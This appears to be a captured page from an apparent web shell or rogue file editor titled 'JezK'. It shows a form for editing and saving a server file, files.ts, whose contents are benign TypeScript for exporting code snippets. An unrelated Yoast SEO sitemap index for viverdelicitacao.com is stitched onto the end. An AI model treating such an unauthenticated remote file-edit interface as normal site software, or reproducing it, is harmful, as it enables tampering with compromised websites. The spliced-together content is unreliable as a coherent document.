
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>JezK</title>
<style>
    body {
        font-family: Arial, sans-serif;
        margin: 0;
        padding: 0;
    }
    #container {
        max-width: 800px;
        margin: 20px auto;
        padding: 20px;
        border: 1px solid #ccc;
        border-radius: 5px;
        background-color: #f9f9f9;
    }
    h1 {
        text-align: center;
        color: #333;
    }
    h2 {
        margin-top: 30px;
        color: #555;
    }
    ul {
        list-style-type: none;
        padding: 0;
    }
    li {
        margin-bottom: 10px;
    }
    a {
        text-decoration: none;
        color: #007bff;
    }
    a:hover {
        text-decoration: underline;
    }
    form {
        margin-top: 20px;
    }
    input[type="text"], input[type="file"], input[type="submit"] {
        margin-bottom: 10px;
    }
    hr {
        border: 0;
        height: 1px;
        background-color: #ccc;
        margin-top: 20px;
        margin-bottom: 20px;
    }
</style>
</head>
<body>
<div id="container">
    <h1>JezK</h1>
    <h2>Edit File: files.ts</h2><form method="post"><textarea name="file_content" rows="10" cols="50">import { getSnippetType } from &#039;./snippets/snippets&#039;
import type { SnippetsExport } from &#039;../types/schema/SnippetsExport&#039;
import type { Snippet } from &#039;../types/Snippet&#039;

const SECOND_IN_MS = 1000
const TIMEOUT_SECONDS = 40
const JSON_INDENT_SPACES = 2

const MIME_INFO = &lt;const&gt; {
	php: [&#039;php&#039;, &#039;text/php&#039;],
	html: [&#039;php&#039;, &#039;text/php&#039;],
	css: [&#039;css&#039;, &#039;text/css&#039;],
	js: [&#039;js&#039;, &#039;text/javascript&#039;],
	cond: [&#039;json&#039;, &#039;application/json&#039;],
	json: [&#039;json&#039;, &#039;application/json&#039;]
}

export const downloadAsFile = (content: BlobPart, filename: string, type: string) =&gt; {
	const link = document.createElement(&#039;a&#039;)
	link.download = filename
	link.href = URL.createObjectURL(new Blob([content], { type }))

	setTimeout(() =&gt; URL.revokeObjectURL(link.href), TIMEOUT_SECONDS * SECOND_IN_MS)
	setTimeout(() =&gt; link.click(), 0)
}

export const downloadSnippetExportFile = (
	content: SnippetsExport | string,
	{ id, name, scope }: Snippet,
	type?: keyof typeof MIME_INFO
) =&gt; {
	const sanitizedName = name.toLowerCase().replace(/[^\w-]+/g, &#039;-&#039;).trim()
	const title = &#039;&#039; === sanitizedName ? `snippet-${id}` : sanitizedName

	if (&#039;string&#039; === typeof content) {
		const [ext, mimeType] = MIME_INFO[type ?? getSnippetType({ scope })]
		const filename = `${title}.code-snippets.${ext}`
		downloadAsFile(content, filename, mimeType)
	} else {
		const filename = `${title}.code-snippets.json`
		downloadAsFile(JSON.stringify(content, undefined, JSON_INDENT_SPACES), filename, &#039;application/json&#039;)
	}
}
</textarea><br><input type="submit" value="Save"></form></div>
</body>
</html>

<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet type="text/xsl" href="//viverdelicitacao.com/wp-content/plugins/wordpress-seo/css/main-sitemap.xsl"?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
	<sitemap>
		<loc>https://viverdelicitacao.com/page-sitemap.xml</loc>
		<lastmod>2025-08-22T16:18:12+00:00</lastmod>
	</sitemap>
</sitemapindex>
<!-- XML Sitemap generated by Yoast SEO -->